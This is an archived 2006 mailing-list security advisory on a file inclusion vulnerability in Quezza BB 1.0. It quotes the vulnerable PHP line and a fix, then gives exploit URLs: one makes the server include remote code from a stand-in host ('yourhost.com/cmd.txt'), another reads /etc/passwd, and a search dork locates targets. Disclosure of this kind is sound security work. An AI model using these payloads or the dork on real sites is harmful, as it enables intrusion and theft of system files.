bugtraq - Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 17 May 2006 07:38:01 +0300
From: Mustafa Can Bjorn IPEKCI <nukedx@...edx.com>
To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com
Subject: Advisory: Quezza BB <= 1.0 File Inclusion
	Vulnerability.


--Security Report--
Advisory: Quezza BB <= 1.0 File Inclusion Vulnerability.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 17/05/06 05:37 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Quezza (http://www.quezza.com/)
Version: 1.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to  
Quezza.quezza_root_path variable in class_template.php
did not sanitized before using it.You can find vulnerable code in  
class_template.php at line 21
-Source in class_template.php-
21: include($quezza_root_path . 'includes/template.' . $phpEx);
-End of source-
Fixing this vulnerability so easy turn off register_globals and add  
this code to source before line 21
if ( !defined('IN_QUEZZA') )
{
	die('Hacking attempt');
}
Level: Highly Critical
---
How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals on
GET ->  
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=[FILE]
EXAMPLE ->  
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=http://yourhost.com/cmd.txt?
If magic_quotes_gpc off remote attacker can include local files too
EXAMPLE ->  
http://[victim]/[QuezzaPath]/includes/class_template.php?quezza_root_path=/etc/passwd%00
---
Timeline:
* 17/05/2006: Vulnerability found.
* 17/05/2006: Contacted with vendor and waiting reply.
---
Exploit:
Click here and get exploit for this advisory
---
Dorks: "Powered by Quezza"

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/